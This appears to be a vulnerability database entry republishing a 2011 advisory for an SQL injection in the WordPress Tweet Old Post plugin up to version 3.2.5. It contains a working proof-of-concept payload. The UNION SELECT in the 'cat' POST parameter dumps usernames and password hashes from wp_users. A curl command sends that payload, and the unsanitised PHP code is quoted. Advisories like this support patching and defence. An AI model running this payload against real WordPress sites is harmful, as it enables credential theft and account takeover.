Lucene search
K

WordPress Tweet Old Post plugin <= 3.2.5 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

WordPress Tweet Old Post plugin SQL Injection Vulnerabilit

Code

                                                # Exploit Title: WordPress Tweet Old Post plugin &#60;= 3.2.5 SQL Injection
Vulnerability
# Date: 2011-09-05
# Author: sherl0ck_ &#60; sherl0ck_ [at] alligatorteam [dot] org &#62;
# Software Link: http://downloads.wordpress.org/plugin/tweet-old-post.zip
# Version: 3.2.5 (tested)

---------------
PoC (POST data)
---------------
URL:
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

POST Data:
delids=1&selFilter=excluded&cat=1=0) UNION ALL SELECT
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1

e.g.:
curl --cookie &#34;[COOKIE]&#34; --data &#34;delids=1&selFilter=excluded&cat=1) UNION
ALL SELECT
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1&#34;
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

---------------
Vulnerable code
---------------
70     if(isset($_POST[&#34;setFilter&#34;]))
71     {
72         if($_POST[&#34;cat&#34;] != 0)
73         {
74             $sql = $sql . &#34; and p.ID IN ( SELECT tr.object_id FROM
&#34;.$wpdb-&#62;prefix.&#34;term_relationships AS tr INNER JOIN
&#34;.$wpdb-&#62;prefix.&#34;term_taxonomy AS tt ON tr.term_taxonomy_id = tt.ter
 m_taxonomy_id WHERE tt.taxonomy = &#39;category&#39; AND tt.term_id=&#34; .
$_POST[&#34;cat&#34;] . &#34;)&#34;;
75             $cat_filter = $_POST[&#34;cat&#34;];

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation